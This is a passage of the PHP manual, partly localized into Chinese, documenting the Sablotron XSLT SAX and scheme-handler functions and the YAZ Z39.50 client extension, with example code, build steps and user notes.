Each of the individual SAX handler functions are in the format below:

  • start_doc ( resource processor )

  • end_doc ( resource processor )

  • start_element ( resource processor, string name, array attributes )

  • end_element ( resource processor, string name )

  • start_namespace ( resource processor, string prefix, string uri )

  • end_namespace ( resource processor, string prefix )

  • comment ( resource processor, string contents )

  • pi ( resource processor, string target, string contents )

  • characters ( resource processor, string contents )

Using xslt_set_sax_handlers() doesn't look very different than running a SAX parser like xml_parse() on the result of an xslt_process() transformation.

范例

例子 1. xslt_set_sax_handlers() Example

<?php
// From ohlesbeauxjours at yahoo dot fr
// Here's a simple example that applies strtoupper() on
// the content of every <auteur> tag and then displays the
// resulting XML tree:

$xml='<?xml version="1.0"?>
<books>
<book>
  <title>Mme Bovary</title>
  <author>Gustave Flaubert</author>
</book>
<book>
  <title>Mrs Dalloway</title>
  <author>Virginia Woolf</author>
</book>
</books>';

$xsl='<?xml version="1.0"?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:output method="html" encoding="ISO-8859-1" indent="no" omit-xml-declaration="yes"/>
<xsl:template match="/">
<xsl:for-each select="books/book">
  <livre>
   <auteur><xsl:value-of select="author/text()"/></auteur>
  </livre>
</xsl:for-each>
</xsl:template>
</xsl:stylesheet>';

// Handlers :
function start_document()
{
  // start reading the document
}

function end_document()
{
  // end reading the document
}

function start_element($parser, $name, $attributes)
{
  global $result,$tag;
  $result .= "<". $name . ">";
  $tag = $name;
}

function end_element($parser, $name)
{
  global $result;
  $result .= "</" . $name . ">";
}

function characters($parser, $data)
{
  global $result,$tag;
  if ($tag == "auteur" ) {
    $data = strtoupper($data);
  }
  $result .= $data;
}

// Transformation :
$xh = xslt_create();
$handlers = array("document" => array("start_document","end_document"),
   "element" => array("start_element","end_element"),
   "character" => "characters");

xslt_set_sax_handlers($xh, $handlers);
xslt_process($xh, 'arg:/_xml', 'arg:/_xsl', NULL, array("/_xml"=>$xml, "/_xsl"=>$xsl));
xslt_free($xh);
?>

You can also use xslt_set_object() if you want to implement your handlers in an object.

例子 2. Object oriented handler

<?php
// This is the object oriented version of the previous example
class data_sax_handler {

  var $buffer, $tag, $attrs;

  var $_xh;

  function data_sax_handler($xml, $xsl)
  {
      // our xslt resource
      $this->_xh = xslt_create();

      xslt_set_object($this->_xs, $this);

      // configure sax handlers
      $handlers = array(
        "document" => array('start_document', 'end_document'),
        "element" => array('start_element', 'end_element'),
        "character" => 'characters'
      );

      xslt_set_sax_handlers($this->_xh, $handlers);

      xslt_process($this->_xh, 'arg:/_xml', 'arg:/_xsl', NULL, array("/_xml"=>$xml, "/_xsl"=>$xsl));
      xslt_free($this->_xh);

  }

  function start_document()
  {
        // start reading the document
  }

  function end_document() {
        // complete reading the document
  }

  function start_element($parser, $name, $attributes) {
        $this->tag = $name;
        $this->buffer .= "<" . $name . ">";
        $this->attrs = $attributes;
  }

  function end_element($parser, $name)
  {
        $this->tag = '';
        $this->buffer .= "</" . $name . ">";
  }

  function characters($parser, $data)
  {
    if ($this->tag == 'auteur') {
          $data = strtoupper($data);
    }
    $this->buffer .= $data;
  }

  function get_buffer() {
    return $this->buffer;
  }

}

$exec = new data_sax_handler($xml, $xsl);

?>

Both examples will output:

<livre>
   <auteur>GUSTAVE FLAUBERT</auteur>
</livre>
<livre>
   <auteur>VIRGINIA WOOLF</auteur>
</livre>

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
xslt_set_sax_handler | 上一级 | xslt_set_scheme_handler


xslt_set_scheme_handler

(4.0.5 - 4.0.6 only)

xslt_set_scheme_handler -- Set Scheme handlers for a XSLT processor

Description

void xslt_set_scheme_handler ( resource xh, array handlers )

Set Scheme handlers on the resource handle given by xh. Scheme handlers should be an array with the format (all elements are optional):

array(
[get_all] => get all handler,
[open] => open handler,
[get] => get handler,
[put] => put handler,
[close] => close handler
)

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
xslt_set_sax_handlers | 上一级 | xslt_set_scheme_handlers


xslt_set_scheme_handlers

(PHP 4 >= 4.0.6, PECL)

xslt_set_scheme_handlers -- Set the scheme handlers for the XSLT processor

Description

void xslt_set_scheme_handlers ( resource processor, array handlers )

警告

本函数暂无文档，仅有参数列表。

add a note add a note User Contributed Notes
cchittleborough at cluemail dot com
13-Sep-2004 09:36
Here's some useful information I found in the PHP 4.3.4 source (in the file ext/xslt/README.XSLT-BACKENDS):

void xslt_set_scheme_handlers(resource processor, array handlers)

Registers the scheme handlers for the document (aka XPath handlers), given a XSLT processor resource (allocated by xslt_create()) and an array in the following format:

   array(
       "get_all" => function,
       "open"    => function,
       "get"      => function,
       "put"      => function,
       "close"    => function
   )

Where function is either a function name or an array in the following format:

   array(&$obj, "method")

Note:  You do not need to handle the array(&$obj, method") syntax by yourself as this is handled in the C call_xslt_function() library function (and more specifically, Zend's call_user_function_ex() function.

Note:  The given array does not need to contain all of the different scheme handler elements (although it can), but it only needs to conform to the "handler" => "function" format described above.

Each of the individual scheme handler functions called are in the formats below:

   string    get_all(resource processor, string scheme, string rest)
   resource open(resource processor, string scheme, string rest)
   int      get(resource processor, resource fp, string &data)
   int      put(resource processor, resource fp, string data)
   void      close(resource processor, resource fp)
ohlesbeauxjours at yahoo dot fr
21-Mar-2003 03:49
xslt_set_scheme_handlers is a powerful feature, derived from the Sablotron engine, which can help in various situations.

Briefly, it allows you to call any kind of PHP instruction, during the treatment of a stylesheet, through the XSLT document() function.

For example, here is an implementation of the "file_exists()" PHP function :

// Definition of the handler :
function mySchemeHandler($processor, $scheme, $rest) {
  $rest=substr($rest,1);    // to remove the first / automatically added by the engine
  if($scheme == 'file_exists')
   return '<?xml version="1.0" encoding="UTF-8"?><root>'.(file_exists($rest) ? "true" : "false")."</root>";
   // result is embedded in a small xml string
}

// Initialisation of the handler (the "get_all"  should be work in most cases) :
$SchemeHandlerArray = array();
$SchemeHandlerArray["get_all"] = "mySchemeHandler";

// Start the engine :
$params = array();
$xh = xslt_create();
xslt_set_scheme_handlers($xh,$SchemeHandlerArray);
$result = xslt_process($xh,"myFile.xml","myFile.xsl",NULL,array(),$params);
xslt_free($xh);
echo $result;

Then, inside the stylesheet, you can test whether a certain file exists with :
<xsl:if test="document('file_exists:anotherXMLfile.xml)/root='true'">
 < !-- bla bla bla -->
</xsl:if>

So finally, the principle is simple :
-    you define a scheme (here, I called it "file_exists")
-    you write the action associated to that scheme (in the mySchemeHandler function)
-    you embed the (probable) results in an XML string, that you return.
-    and in the stylesheet, you check : document('myPersonalURIscheme:myXPath')

You can imagine many other uses for the mySchemeHandler() function.

My framework is : PHP 4.2.3, Sablotron version 0.96, and Expat 1.95.5
Please note that some older version of PHP might require an additionnal parameter :
 mySchemeHandler($processor,$scheme,$rest,&$buffer)
and you place your XML in $buffer, instead of returning it with return().

Baptiste
add a note add a note

后退 | 起点 | 前进
xslt_set_scheme_handler | 上一级 | xslt_setopt


xslt_setopt

(PHP 4 >= 4.3.0, PECL)

xslt_setopt -- Set options on a given xsl processor

Description

mixed xslt_setopt ( resource processor, int newmask )

xslt_setopt() sets the options specified by newmask on the given processor. Returns the number of previous mask is possible, TRUE otherwise, FALSE in case of an error.

newmask is a bitmask constructed with the following constants:

  • XSLT_SABOPT_PARSE_PUBLIC_ENTITIES - Tell the processor to parse public entities. By default this has been turned off.

  • XSLT_SABOPT_DISABLE_ADDING_META - Do not add the meta tag "Content-Type" for HTML output. The default is set during the compilation of the processor.

  • XSLT_SABOPT_DISABLE_STRIPPING - Suppress the whitespace stripping (on data files only).

  • XSLT_SABOPT_IGNORE_DOC_NOT_FOUND - Consider unresolved documents (the document() function) non-lethal.

范例

例子 1. xslt_setopt() Example

<?php

$xh = xslt_create();

// Tell Sablotron to process public entities
xslt_setopt($xh, XSLT_SABOPT_PARSE_PUBLIC_ENTITIES);

// Let's also ask him to suppress whitespace stripping
xslt_setopt($xh, xslt_getopt($xh) | XSLT_SABOPT_DISABLE_STRIPPING);

?>

参见

xslt_getopt().

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
xslt_set_scheme_handlers | 上一级 | YAZ Functions


YAZ Functions

PHP 手册
后退 前进

CLXI. YAZ Functions

简介

This extension offers a PHP interface to the YAZ toolkit that implements the Z39.50 Protocol for Information Retrieval. With this extension you can easily implement a Z39.50 origin (client) that searches or scans Z39.50 targets (servers) in parallel.

The module hides most of the complexity of Z39.50 so it should be fairly easy to use. It supports persistent stateless connections very similar to those offered by the various RDB APIs that are available for PHP. This means that sessions are stateless but shared among users, thus saving the connect and initialize phase steps in most cases.

YAZ is available at http://www.indexdata.dk/yaz/. You can find news information, example scripts, etc. for this extension at http://www.indexdata.dk/phpyaz/.

注: 本扩展已被移动到 PECL 库中且自以下版本起不再被绑定到 PHP 中：5.0.0.

安装

Compile YAZ (ANSI/NISO Z39.50 support) and install it. Build PHP with your favourite modules and add option --with-yaz[=DIR]. Your task is roughly the following:

例子 1. YAZ compilation

gunzip -c php-4.3.X.tar.gz|tar xf -
gunzip -c yaz-2.0.tar.gz|tar xf -
cd yaz-2.0
./configure --prefix=/usr
make
make install
cd ../php-4.3.X.
./configure --with-yaz=/usr/bin
make
make install

If you are using YAZ as a shared extension, add (or uncomment) the following line in php.ini on Unix:
extension=php_yaz.so
And for Windows:
extension=php_yaz.dll

On Windows, php_yaz.dll depend on yaz.dll. You'll find yaz.dll in sub directory dlls in the Win32 zip archive. Copy yaz.dll to a directory in your PATH environment (c:\winnt\system32 or c:\windows\system32).

警告

IMAP 扩展模块不能和 recode 扩展模块，YAZ 扩展模块以及 Cyrus 扩展模块同时使用。因为它们使用了相同的内部符号。

注: The above problem is solved in version 2.0 of YAZ.

运行时配置

这些函数的行为受 php.ini 的影响。

表格 1. YAZ configuration options

Name | Default | Changeable | Changelog
yaz.max_links | "100" | PHP_INI_ALL | Available since PHP 4.3.0.
yaz.log_file | NULL | PHP_INI_ALL | Available since PHP 4.3.0.
有关 PHP_INI_* 常量进一步的细节与定义参见附录 G。

资源类型

本扩展模块未定义任何资源类型。

预定义常量

本扩展模块未定义任何常量。

范例

PHP/YAZ keeps track of connections with targets (Z-Associations). A resource represents a connection to a target.

The script below demonstrates the parallel searching feature of the API. When invoked with no arguments it prints a query form; else (arguments are supplied) it searches the targets as given in array host.

例子 2. Parallel searching using Yaz

<?php
$host=$_REQUEST[host];
$query=$_REQUEST[query];
$num_hosts = count($host);
if (empty($query) || count($host) == 0) {
    echo '<form method="get">
    <input type="checkbox"
    name="host[]" value="bagel.indexdata.dk/gils" />
        GILS test
    <input type="checkbox"
    name="host[]" value="localhost:9999/Default" />
        local test
    <input type="checkbox" checked="checked"
    name="host[]" value="z3950.loc.gov:7090/voyager" />
        Library of Congress
    <br />
    RPN Query:
    <input type="text" size="30" name="query" />
    <input type="submit" name="action" value="Search" />
    </form>
    ';
} else {
    echo 'You searched for ' . htmlspecialchars($query) . '<br />';
    for ($i = 0; $i < $num_hosts; $i++) {
        $id[] = yaz_connect($host[$i]);
    yaz_syntax($id[$i], "usmarc");
        yaz_range($id[$i], 1, 10);
        yaz_search($id[$i], "rpn", $query);
    }
    yaz_wait();
    for ($i = 0; $i < $num_hosts; $i++) {
        echo '<hr />' . $host[$i] . ':';
        $error = yaz_error($id[$i]);
        if (!empty($error)) {
            echo "Error: $error";
        } else {
            $hits = yaz_hits($id[$i]);
            echo "Result Count $hits";
        }
        echo '<dl>';
        for ($p = 1; $p <= 10; $p++) {
            $rec = yaz_record($id[$i], $p, "string");
            if (empty($rec)) continue;
            echo "<dt><b>$p</b></dt><dd>";
            echo nl2br($rec);
            echo "</dd>";
        }
        echo '</dl>';
    }
}
?>

目录
yaz_addinfo -- Returns additional error information
yaz_ccl_conf -- Configure CCL parser
yaz_ccl_parse -- Invoke CCL Parser
yaz_close -- Close YAZ connection
yaz_connect -- Prepares for a connection to a Z39.50 server
yaz_database -- Specifies the databases within a session
yaz_element -- Specifies Element-Set Name for retrieval
yaz_errno -- Returns error number
yaz_error -- Returns error description
yaz_es_result -- Inspects Extended Services Result
yaz_get_option -- Returns value of option for connection
yaz_hits -- Returns number of hits for last search
yaz_itemorder -- Prepares for Z39.50 Item Order with an ILL-Request package
yaz_present -- Prepares for retrieval (Z39.50 present)
yaz_range -- Specifies a range of records to retrieve
yaz_record -- Returns a record
yaz_scan_result -- Returns Scan Response result
yaz_scan -- Prepares for a scan
yaz_schema -- Specifies schema for retrieval
yaz_search -- Prepares for a search
yaz_set_option -- Sets one or more options for connection
yaz_sort -- Sets sorting criteria
yaz_syntax -- Specifies the preferred record syntax for retrieval
yaz_wait -- Wait for Z39.50 requests to complete

add a note add a note User Contributed Notes
24-Oct-2005 06:00
Straightforward Steps to get PHP Yaz to work on win32:

Download latest verion of php_yaz.dll and copy to your PHP extensions directory
http://ftp.indexdata.dk/pub/phpyaz/

Download latest version of YAZ toolkit and install it
http://www.indexdata.dk/yaz/

Go to the YAZ toolkit directory
(Most likely C:\Program Files\YAZ\bin)

Copy the 4 DLL files in that folder into your win32 directory

Uncomment the "extention=php_yaz.dll;" line in php.ini

Restart your web server.

Uninstall the YAZ toolkit if you wish.
cstdenis at hotmail dot com
16-Jul-2004 09:17
For those wondering what it is:

"This standard defines a client/server based service and protocol for
Information Retrieval. It specifies procedures and formats for a client to search a
database provided by a server, retrieve database records, and perform related
information retrieval functions. The protocol addresses communication between
information retrieval applications at the client and server; it does not address interaction
between the client and the end-user."
add a note add a note

后退 | 起点 | 前进
xslt_setopt | 上一级 | yaz_addinfo


yaz_addinfo

(PHP 4 >= 4.0.1, PECL)

yaz_addinfo -- Returns additional error information

说明

string yaz_addinfo ( resource id )

Returns additional error information for the last request on the server.

With some servers, this function may return the same string as yaz_error().

参数

id

The connection resource returned by yaz_connect().

返回值

A string containing additional error information or an empty string if the last operation was successful or if no additional information was provided by the server.

参见

yaz_error()
yaz_errno()

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
YAZ Functions | 上一级 | yaz_ccl_conf


yaz_ccl_conf

(PHP 4 >= 4.0.5, PECL)

yaz_ccl_conf -- Configure CCL parser

说明

void yaz_ccl_conf ( resource id, array config )

This function configures the CCL query parser for a server with definitions of access points (CCL qualifiers) and their mapping to RPN.

To map a specific CCL query to RPN afterwards call the yaz_ccl_parse() function.

参数

id

The connection resource returned by yaz_connect().

config

An array of configuration. Each key of the array is the name of a CCL field and the corresponding value holds a string that specifies a mapping to RPN.

The mapping is a sequence of attribute-type, attribute-value pairs. Attribute-type and attribute-value is separated by an equal sign (=). Each pair is separated by white space.

Additional information can be found on the CCL page.

返回值

无返回值。

范例

In the example below, the CCL parser is configured to support three CCL fields: ti, au and isbn. Each field is mapped to their BIB-1 equivalent. It is assumed that variable $id is the connection ID.

例子 1. CCL configuration

<?php
$fields = array(
  "ti" => "1=4",
  "au"   => "1=1",
  "isbn" => "1=7"
);
yaz_ccl_conf($id, $fields);
?>

参见

yaz_ccl_parse()

add a note add a note User Contributed Notes
quinn at indexdata dot com
06-Mar-2005 11:09
The YAZ CCL parser has extensive functionality beyond what is described here. For the full story, as well as a detailed description of the CCL language, please look at

http://www.indexdata.dk/yaz/doc/tools.tkl#CCL

The flexibility of the parser makes it easy, by setting up separate profiles for servers with different characteristics, to produce a client that performs different query mappings for different servers. Also, because you can configure operators, truncation characters, etc., in the CCL parser, it is simple to make it fit into almost any application.
add a note add a note

后退 | 起点 | 前进
yaz_addinfo | 上一级 | yaz_ccl_parse


yaz_ccl_parse

(PHP 4 >= 4.0.5, PECL)

yaz_ccl_parse -- Invoke CCL Parser

说明

bool yaz_ccl_parse ( resource id, string query, array &result )

This function invokes a CCL parser. It converts a given CCL FIND query to an RPN query which may be passed to the yaz_search() function to perform a search.

To define a set of valid CCL fields call yaz_ccl_conf() prior to this function.

参数

id

The connection resource returned by yaz_connect().

query

The CCL FIND query.

result

If the function was executed successfully, this will be an array containing the valid RPN query under the key rpn.

Upon failure, three indexes are set in this array to indicate the cause of failure:

  • errorcode - the CCL error code (integer)

  • errorstring - the CCL error string

  • errorpos - approximate position in query of failure (integer is character position)

返回值

如果成功则返回 TRUE，失败则返回 FALSE。

范例

例子 1. CCL Parsing

We will try to search using CCL. In the example below, $ccl is a CCL query.

<?php

yaz_ccl_conf($id, $fields);  // see example for yaz_ccl_conf
if (!yaz_ccl_parse($id, $ccl, &$cclresult)) {
    echo 'Error: ' . $cclresult["errorstring"];
} else {
    $rpn = $cclresult["rpn"];
    yaz_search($id, "rpn", $rpn);
}
?>

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
yaz_ccl_conf | 上一级 | yaz_close


yaz_close

(PHP 4 >= 4.0.1, PECL)

yaz_close -- Close YAZ connection

说明

bool yaz_close ( resource id )

Closes the connection given by parameter id.

注: This function will only close a non-persistent connection opened by setting the persistent option to FALSE with yaz_connect().

参数

id

The connection resource returned by yaz_connect().

返回值

如果成功则返回 TRUE，失败则返回 FALSE。

参见

yaz_connect()

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
yaz_ccl_parse | 上一级 | yaz_connect


yaz_connect

(PHP 4 >= 4.0.1, PECL)

yaz_connect -- Prepares for a connection to a Z39.50 server

说明

mixed yaz_connect ( string zurl [, mixed options] )

This function returns a connection resource on success, zero on failure.

yaz_connect() prepares for a connection to a Z39.50 server. This function is non-blocking and does not attempt to establish a connection - it merely prepares a connect to be performed later when yaz_wait() is called.

注: The YAZ proxy is a freely available Z39.50 proxy.

参数

zurl

A string that takes the form host[:port][/database]. If port is omitted, port 210 is used. If database is omitted Default is used.

options

If given as a string, it is treated as the Z39.50 V2 authentication string (OpenAuth).

If given as an array, the contents of the array serves as options.

user

Username for authentication.

group

Group for authentication.

password

Password for authentication.

cookie

Cookie for session (YAZ proxy).

proxy

Proxy for connection (YAZ proxy).

persistent

A boolean. If TRUE the connection is persistent; If FALSE the connection is not persistent. By default connections are persistent.

注: If you open a persistent connection, you won't be able to close it later with yaz_close().

piggyback

A boolean. If TRUE piggyback is enabled for searches; If FALSE piggyback is disabled. By default piggyback is enabled.

Enabling piggyback is more efficient and usually saves a network-round-trip for first time fetches of records. However, a few Z39.50 servers do not support piggyback or they ignore element set names. For those, piggyback should be disabled.

charset

A string that specifies character set to be used in Z39.50 language and character set negotiation. Use strings such as: ISO-8859-1, UTF-8, UTF-16.

Most Z39.50 servers do not support this feature (and thus, this is ignored). Many servers use the ISO-8859-1 encoding for queries and messages. MARC21/USMARC records are not affected by this setting.

返回值

A connection resource on success, FALSE on error.

更新日志

版本 | 说明
4.1.0 | The parameter options was added.

参见

yaz_close()

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
yaz_close | 上一级 | yaz_database


yaz_database

(PHP 4 >= 4.0.6, PECL)

yaz_database -- Specifies the databases within a session

说明

bool yaz_database ( resource id, string databases )

This function allows you to change databases within a session by specifying one or more databases to be used in search, retrieval, etc. - overriding databases specified in call to yaz_connect().

参数

id

The connection resource returned by yaz_connect().

databases

A string containing one or more databases. Multiple databases are separated by a plus sign +.

返回值

如果成功则返回 TRUE，失败则返回 FALSE。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
yaz_connect | 上一级 | yaz_element


yaz_element

(PHP 4 >= 4.0.1, PECL)

yaz_element -- Specifies Element-Set Name for retrieval

说明

bool yaz_element ( resource id, string elementset )

This function sets the element set name for retrieval.

Call this function before yaz_search() or yaz_present() to specify the element set name for records to be retrieved.

注: If this function seems effectless, see the description of the piggybacking option in yaz_connect().

参数

id

The connection resource returned by yaz_connect().

elementset

Most servers support F (for full records) and B (for brief records).

返回值

如果成功则返回 TRUE，失败则返回 FALSE。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
yaz_database | 上一级 | yaz_errno


yaz_errno

(PHP 4 >= 4.0.1, PECL)

yaz_errno -- Returns error number

说明

int yaz_errno ( resource id )

Returns an error number for the server (last request) identified by id.

yaz_errno() should be called after network activity for each server - (after yaz_wait() returns) to determine the success or failure of the last operation (e.g. search).

参数

id

The connection resource returned by yaz_connect().

返回值

Returns an error code. The error code is either a Z39.50 diagnostic code (usually a Bib-1 diagnostic) or a client side error code which is generated by PHP/YAZ itself, such as "Connect failed", "Init Rejected", etc.

参见

yaz_error()
yaz_addinfo()

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
yaz_element | 上一级 | yaz_error


yaz_error

(PHP 4 >= 4.0.1, PECL)

yaz_error -- Returns error description

说明

string yaz_error ( resource id )

yaz_error() returns an English text message corresponding to the last error number as returned by yaz_errno().

参数

id

The connection resource returned by yaz_connect().

返回值

Returns an error text message for server (last request), identified by parameter id. An empty string is returned if the last operation was successful.

参见

yaz_errno()
yaz_addinfo()

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
yaz_errno | 上一级 | yaz_es_result


yaz_es_result

(PHP 4 >= 4.2.0, PECL)

yaz_es_result -- Inspects Extended Services Result

说明

array yaz_es_result ( resource id )

警告

本函数暂无文档，仅有参数列表。

参数

id

The connection resource returned by yaz_connect().

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
yaz_error | 上一级 | yaz_get_option


yaz_get_option

(PECL)

yaz_get_option -- Returns value of option for connection

说明

string yaz_get_option ( resource id, string name )

Returns the value of the option specified with name.

参数

id

The connection resource returned by yaz_connect().

name

The option name.

返回值

Returns the value of the specified option or an empty string if the option wasn't set.

参见

The description of yaz_set_option() for available options

add a note add a note User Contributed Notes
yecarrillo at carrillovega dot com
05-Aug-2005 02:57
With Php php-4.4.0 / Yaz yaz-2.1.8, yaz_get_option() is not defined
add a note add a note

后退 | 起点 | 前进
yaz_es_result | 上一级 | yaz_hits


yaz_hits

(PHP 4 >= 4.0.1, PECL)

yaz_hits -- Returns number of hits for last search

说明

int yaz_hits ( resource id )

yaz_hits() returns the number of hits for the last search.

参数

id

The connection resource returned by yaz_connect().

返回值

Returns the number of hits for the last search or 0 if no search was performed.

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
yaz_get_option | 上一级 | yaz_itemorder


yaz_itemorder

(PHP 4 >= 4.0.5, PECL)

yaz_itemorder -- Prepares for Z39.50 Item Order with an ILL-Request package

说明

void yaz_itemorder ( resource id, array args )

This function prepares for an Extended Services request using the Profile for the Use of Z39.50 Item Order Extended Service to Transport ILL (Profile/1). See this and the specification.

参数

id

The connection resource returned by yaz_connect().

args

Must be an associative array with information about the Item Order request to be sent. The key of the hash is the name of the corresponding ASN.1 tag path. For example, the ISBN below the Item-ID has the key item-id,ISBN.

The ILL-Request parameters are:

protocol-version-num
transaction-id,initial-requester-id,person-or-institution-symbol,person
transaction-id,initial-requester-id,person-or-institution-symbol,institution
transaction-id,initial-requester-id,name-of-person-or-institution,name-of-person
transaction-id,initial-requester-id,name-of-person-or-institution,name-of-institution
transaction-id,transaction-group-qualifier
transaction-id,transaction-qualifier
transaction-id,sub-transaction-qualifier
service-date-time,this,date
service-date-time,this,time
service-date-time,original,date
service-date-time,original,time
requester-id,person-or-institution-symbol,person
requester-id,person-or-institution-symbol,institution
requester-id,name-of-person-or-institution,name-of-person
requester-id,name-of-person-or-institution,name-of-institution
responder-id,person-or-institution-symbol,person
responder-id,person-or-institution-symbol,institution
responder-id,name-of-person-or-institution,name-of-person
responder-id,name-of-person-or-institution,name-of-institution
transaction-type
delivery-address,postal-address,name-of-person-or-institution,name-of-person
delivery-address,postal-address,name-of-person-or-institution,name-of-institution
delivery-address,postal-address,extended-postal-delivery-address
delivery-address,postal-address,street-and-number
delivery-address,postal-address,post-office-box
delivery-address,postal-address,city
delivery-address,postal-address,region
delivery-address,postal-address,country
delivery-address,postal-address,postal-code
delivery-address,electronic-address,telecom-service-identifier
delivery-address,electronic-address,telecom-service-addreess
billing-address,postal-address,name-of-person-or-institution,name-of-person
billing-address,postal-address,name-of-person-or-institution,name-of-institution
billing-address,postal-address,extended-postal-delivery-address
billing-address,postal-address,street-and-number
billing-address,postal-address,post-office-box
billing-address,postal-address,city
billing-address,postal-address,region
billing-address,postal-address,country
billing-address,postal-address,postal-code
billing-address,electronic-address,telecom-service-identifier
billing-address,electronic-address,telecom-service-addreess
ill-service-type
requester-optional-messages,can-send-RECEIVED
requester-optional-messages,can-send-RETURNED
requester-optional-messages,requester-SHIPPED
requester-optional-messages,requester-CHECKED-IN
search-type,level-of-service
search-type,need-before-date
search-type,expiry-date
search-type,expiry-flag
place-on-hold
client-id,client-name
client-id,client-status
client-id,client-identifier
item-id,item-type
item-id,call-number
item-id,author
item-id,title
item-id,sub-title
item-id,sponsoring-body
item-id,place-of-publication
item-id,publisher
item-id,series-title-number
item-id,volume-issue
item-id,edition
item-id,publication-date
item-id,publication-date-of-component
item-id,author-of-article
item-id,title-of-article
item-id,pagination
item-id,ISBN
item-id,ISSN
item-id,additional-no-letters
item-id,verification-reference-source
copyright-complicance
retry-flag
forward-flag
requester-note
forward-note

There are also a few parameters that are part of the Extended Services Request package and the ItemOrder package:

package-name
user-id
contact-name
contact-phone
contact-email
itemorder-item

返回值

无返回值。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
yaz_hits | 上一级 | yaz_present


yaz_present

(PHP 4 >= 4.0.5, PECL)

yaz_present -- Prepares for retrieval (Z39.50 present)

说明

bool yaz_present ( resource id )

This function prepares for retrieval of records after a successful search.

The yaz_range() function should be called prior to this function to specify the range of records to be retrieved.

参数

id

The connection resource returned by yaz_connect().

返回值

如果成功则返回 TRUE，失败则返回 FALSE。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
yaz_itemorder | 上一级 | yaz_range


yaz_range

(PHP 4 >= 4.0.1, PECL)

yaz_range -- Specifies a range of records to retrieve

说明

void yaz_range ( resource id, int start, int number )

Specifies a range of records to retrieve.

This function should be called before yaz_search() or yaz_present().

参数

id

The connection resource returned by yaz_connect().

start

Specifies the position of the first record to be retrieved. The records numbers goes from 1 to yaz_hits().

number

Specifies the number of records to be retrieved.

返回值

无返回值。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
yaz_present | 上一级 | yaz_record


yaz_record

(PHP 4 >= 4.0.1, PECL)

yaz_record -- Returns a record

说明

string yaz_record ( resource id, int pos, string type )

The yaz_record() function inspects a record in the current result set at the position specified by parameter pos.

参数

id

The connection resource returned by yaz_connect().

pos

The record position. Records positions in a result set are numbered 1, 2, ... $hits where $hits is the count returned by yaz_hits().

type

The type specifies the form of the returned record.

注: It is the application which is responsible for actually ensuring that the records are returned from the Z39.50/SRW server in the proper format. The type given only specifies a conversion to take place on the client side (in PHP/YAZ).

Besides conversion of the transfer record to a string/array, PHP/YAZ it is also possible to perform a character set conversion of the record. Especially for USMARC/MARC21 that is recommended since these are typically returned in the character set MARC-8 that is not supported by browsers, etc. To specify a conversion, add ; charset=from, to where from is the original character set of the record and to is the resulting character set (as seen by PHP).

string

The record is returned as a string for simple display. In this mode, all MARC records are converted to a line-by-line format since ISO2709 is hardly readable. XML records and SUTRS are returned in their original format. GRS-1 are returned in a (ugly) line-by-line format.

This format is suitable if records are to be displayed in a quick way - for debugging - or because it is not feasible to perform proper display.

xml

The record is returned as an XML string if possible. In this mode, all MARC records are converted to MARCXML. XML records and SUTRS are returned in their original format. GRS-1 is not supported.

This format is similar to string except that MARC records are converted to MARCXML

This format is suitable if records are processed by an XML parser or XSLT processor afterwards.

raw

The record is returned as a string in its original form. This type is suitable for MARC, XML and SUTRS. It does not work for GRS-1.

MARC records are returned as a ISO2709 string. XML and SUTRS are returned as strings.

syntax

The syntax of the record is returned as a string, i.e. USmarc, GRS-1, XML, etc.

database

The name of database associated with record at the position is returned as a string.

array

The record is returned as an array that reflects the GRS-1 structure. This type is suitable for MARC and GRS-1. XML, SUTRS are not supported and if the actual record is XML or SUTRS an empty string will be returned.

The array returned consists of a list corresponding to each leaf/internal node of GRS-1. Each list item consists a sub list with first element path and data (if data is available).

The path which is a string holds a list of each tree component (of the structured GRS-1 record) from root to leaf. Each component is a tag type, tag value pair of the form (type, value

String tags normally has a corresponding tag type 3. MARC can also be returned as an array (they are converted to GRS-1 internally).

返回值

Returns the record at position pos or an empty string if no record exists at the given position.

If no database record exists at the given position an empty string is returned.

范例

例子 1. Array for GRS-1 record

Consider this GRS-1 record:
(4,52)Robert M. Pirsig
(4,70)
      (4,90)
            (2,7)Transworld Publishers, ltd.
This record has two nodes at root level. First element at root level is (4,52) [tag type 4, tag value 52], and has data Robert M. Pirsig. Second element at root level (4,70) has a subtree with a single element (4,90). (4,90) has yet another sub tree (2,7) with data Transworld Publishers, ltd..

If this record is present at position $p, then
<?php

$ar = yaz_record($id, $p, "array");
print_r($ar);

?>
will output:
Array
(
    [0] => Array
        (
            [0] => (4,52)
            [1] => Robert M. Pirsig
        )
    [1] => Array
        (
            [0] => (4,70)
        )
    [2] => Array
        (
            [0] => (4,70)(4,90)
        )
    [3] => Array
        (
            [0] => (4,70)(4,90)(2,7)
            [1] => Transworld Publishers, ltd.
        )
)

例子 2. Working with MARCXML

The following PHP snippet returns a MARC21/USMARC record as MARCXML. The original record is returned in marc-8 (unknown to most XML parsers), so we convert it to UTF-8 (which all XML parsers must support).
<?php
$rec = yaz_record($id, $p, "xml; charset=marc-8,utf-8");
?>

The record $rec can be processed with the Sablotron XSLT processor as follows:

<?php

$xslfile = 'display.xsl';
$processor = xslt_create();
$parms = array('/_xml' => $rec);
$res = xslt_process($processor, 'arg:/_xml', $xslfile, NULL, $parms);
xslt_free($processor);
